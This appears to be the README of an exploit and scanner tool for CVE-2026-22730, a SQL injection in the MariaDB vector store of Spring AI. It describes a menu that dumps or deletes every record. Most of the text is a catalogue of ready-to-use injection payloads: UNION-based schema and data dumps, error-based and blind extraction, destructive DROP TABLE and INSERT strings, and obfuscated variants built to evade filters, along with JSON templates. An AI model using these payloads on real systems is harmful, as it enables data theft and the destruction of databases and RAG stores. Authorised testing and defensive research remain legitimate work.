
Scanner and exploit tool for CVE-2026-22730, a SQL injection in Spring AI's MariaDB vector store. Supports time-based detection, GET/POST methods, and exploitation with reporting.
CVE-2026-22730 Scanner & Exploit – Spring AI MariaDB Vector Store SQL Injection
A professional security assessment tool for CVE-2026-22730 – a critical SQL injection vulnerability discovered in Spring AI's MariaDB vector store. This tool allows authorised penetration testers and security researchers to detect and safely exploit the vulnerability for educational or defensive purposes.
📖 Overview
CVE-2026-22730 affects Spring AI versions 1.0.x < 1.0.4 and 1.1.x < 1.1.3 when using the MariaDB vector store. Due to improper escaping of string values in filter expressions, an attacker can inject arbitrary SQL through user‑controlled parameters (e.g., metadata filters). This can lead to:
Unauthorised data retrieval – bypassing metadata‑based access controls
Full database deletion – wiping the entire vector store (destructive)
Silent data leakage – in RAG pipelines, leaked data is incorporated into LLM responses without detection
This tool provides a safe, configurable method to verify the presence of the vulnerability and demonstrate its impact (with explicit consent) during authorised security assessments.
🚀 Features
✅ Time‑based detection – uses SLEEP() injection to confirm vulnerability
✅ Multiple HTTP methods – supports GET (query parameters) and POST (JSON body)
✅ Custom sleep duration – adjust for network latency or stealth requirements
✅ Exploitation options – retrieve all documents (SELECT) or delete all (DELETE)
✅ Comprehensive reporting – generates HTML, JSON, and plain‑text reports
✅ User‑friendly CLI – interactive mode and full command‑line arguments
✅ Extensible payload system – easily integrate custom injection strings
📋 Requirements
Python 3.6 or higher
requests library (pip install requests)
🔧 Installation
bash git clone https://github.com/NULL200OK/cve-2026-22730-scanner.git
cd cve-2026-22730-scanner
📖 Usage
The script can be run in interactive mode or with command‑line arguments.
Basic Syntax
bash
python cve-2026-22730_scanner.py [options]
Options
Option Description
--url Target URL (e.g., http://localhost:8081/api/docs)
--method HTTP method: GET or POST (default: GET)
--param Query parameter name for GET, or reference name for POST (optional)
--json-template JSON template with PAYLOAD placeholder (required for POST)
--baseline Benign value for baseline request (default: nonexistent)
--sleep Sleep seconds for time‑based detection (default: 5)
Examples
bash
python cve-2026-22730_scanner.py --url "http://localhost:8081/api/docs" --method GET --param "department"
bash
python cve-2026-22730_scanner.py --url "http://localhost:8081/api/search" --method POST --json-template '{"department": "PAYLOAD"}'
bash
python cve-2026-22730_scanner.py --url "http://example.com/search" --param "filter" --sleep 10 --baseline "HR"
bash
python cve-2026-22730_scanner.py
You will be prompted for URL, method, parameter/JSON template, baseline, and sleep time.
Exploitation Workflow
If the target is found vulnerable, the script presents a menu:
text
[?] Target is vulnerable. Choose exploitation option:
1. Retrieve all documents (SELECT injection)
2. Delete all documents (DELETE injection) - DESTRUCTIVE
3. Skip exploitation
Option 1 sends ' OR '1'='1 to retrieve all rows (non‑destructive, only reads data).
Option 2 sends the same payload using the DELETE HTTP method – permanently removes all records. Requires explicit confirmation.
All actions are logged and included in the final report.
📁 Output Files
After each run, three timestamped files are created in the current directory:
cve-2026-22730_YYYYMMDD_HHMMSS.json – machine‑readable JSON report with all details.
cve-2026-22730_YYYYMMDD_HHMMSS.txt – plain‑text summary, including exploitation data if any.
cve-2026-22730_YYYYMMDD_HHMMSS.html – formatted HTML report, suitable for sharing or archiving.
⚠️ Important Disclaimer
This tool is intended for authorised security testing and educational purposes only.
Unauthorised use against systems you do not own or have explicit permission to test is illegal and unethical.
The author assumes no liability for misuse or damage caused by this software.
Always obtain written permission before scanning or exploiting any target.
📚 References
GitHub Security Advisory GHSA‑c267‑rfvc‑mvpm
Spring Security Advisory AV26‑245
Original Research Article by SecureLayer7
🤝 Contributing
Pull requests, bug reports, and feature suggestions are welcome. Please open an issue first to discuss major changes.
📄 License
This project is licensed under the MIT License – see the LICENSE file for details.
Developed with ❤️ by Nabeel
Exampel For PYLOAD
For the security community
📌 How to Use These Payloads
In the script, when using POST with --json-template, replace PAYLOAD with any payload from the list below.
For GET requests, simply pass the payload as the parameter value (the script handles URL encoding automatically).
🔥 Payload Categories
These cause a delay if injection is successful. Use them to confirm vulnerability.
Payload Description
' OR SLEEP(5) -- Standard time‑based payload. If the query pauses for ~5 seconds, injection works.
' OR BENCHMARK(10000000,MD5('a')) -- Alternative for MySQL/MariaDB (BENCHMARK).
' OR (SELECT * FROM (SELECT(SLEEP(5)))a) -- Nested sleep to bypass some filters.
' OR 1=1 AND SLEEP(5) -- Combines always‑true condition with sleep.
These make the WHERE clause always true, returning all records.
Payload Description
' OR '1'='1 Classic always‑true injection.
' OR 1=1 -- Another variant (requires a space after --).
' OR ''=' Relies on empty string comparison.
' OR 1=1# Uses # for MariaDB comment (URL‑encoded as %23).
' OR 1=1 LIMIT 1 -- Returns only one row (useful for controlled output)
Useful when the application displays results. You need to match the number of columns.
Payload Description
' UNION SELECT NULL, database(), user(), version() -- Retrieve database name, user, version. (Adjust NULL count to match columns.)
' UNION SELECT 1, table_name, 3 FROM information_schema.tables WHERE table_schema=database() -- List tables.
' UNION SELECT 1, column_name, 3 FROM information_schema.columns WHERE table_name='vector_store' -- List columns.
' UNION SELECT 1, content, metadata FROM vector_store -- Dump actual data (if column count matches).
Trigger errors that leak information.
Payload Description
' AND extractvalue(1, concat(0x7e, database())) -- MariaDB/MySQL error‑based.
' AND updatexml(1, concat(0x7e, version()), 1) -- Another error method.
' OR 1 GROUP BY concat(database(), floor(rand(0)*2)) HAVING min(0) -- Duplicate key error.
Useful when no output or errors are shown, but the application behaviour changes.
Payload Description
' AND (SELECT ascii(substring(database(),1,1))) > 64 -- Checks first character of database name.
' AND (SELECT COUNT(*) FROM information_schema.tables) > 10 -- Checks number of tables.
' OR (SELECT 1 FROM users LIMIT 1) = 1 -- Tests existence of a table.
Destructive payloads (use with extreme caution).
Payload Description
' OR '1'='1 When used with DELETE, removes all rows.
' OR 1=1; DROP TABLE vector_store -- Attempts to drop the entire table (requires stacked queries, often disabled).
' OR 1=1; INSERT INTO vector_store (content) VALUES ('hacked') -- Attempts to insert new data.
Obfuscated versions to evade simple pattern matching.
Payload Description
%27%20OR%20SLEEP(5)%20-- URL‑encoded (script handles this automatically).
' //OR//SLEEP(5)/**/-- Inline comments to break up keywords.
' OR 0x273d27=0x273d27 -- Hex‑encoded comparison ('=').
' OR 1=1 /!50000SLEEP(5)/ -- MySQL version‑specific comment.
Payload Description
' OR '1'='1 Used to retrieve all documents (proof of concept).
' OR SLEEP(5) -- Time‑based detection payload used in the scanner.
' OR '1'='1 Also used for the DELETE injection.
📝 Example JSON Templates with Payload
json
{"department": "' OR SLEEP(5) --"}
{"department": "' OR '1'='1"}
{"department": "' UNION SELECT 1, content, metadata FROM vector_store --"}
In the script, you would pass the template as:
bash
--json-template '{"department": "PAYLOAD"}'
The script will replace PAYLOAD with the actual payload.
NOTE about URL
The script requires the full URL of the endpoint that accepts the vulnerable parameter. For example:
✅ http://example.com/api/docs – if the endpoint is /api/docs
✅ http://example.com/search – if the endpoint is /search
❌ http://example.com – not enough, the script needs the exact path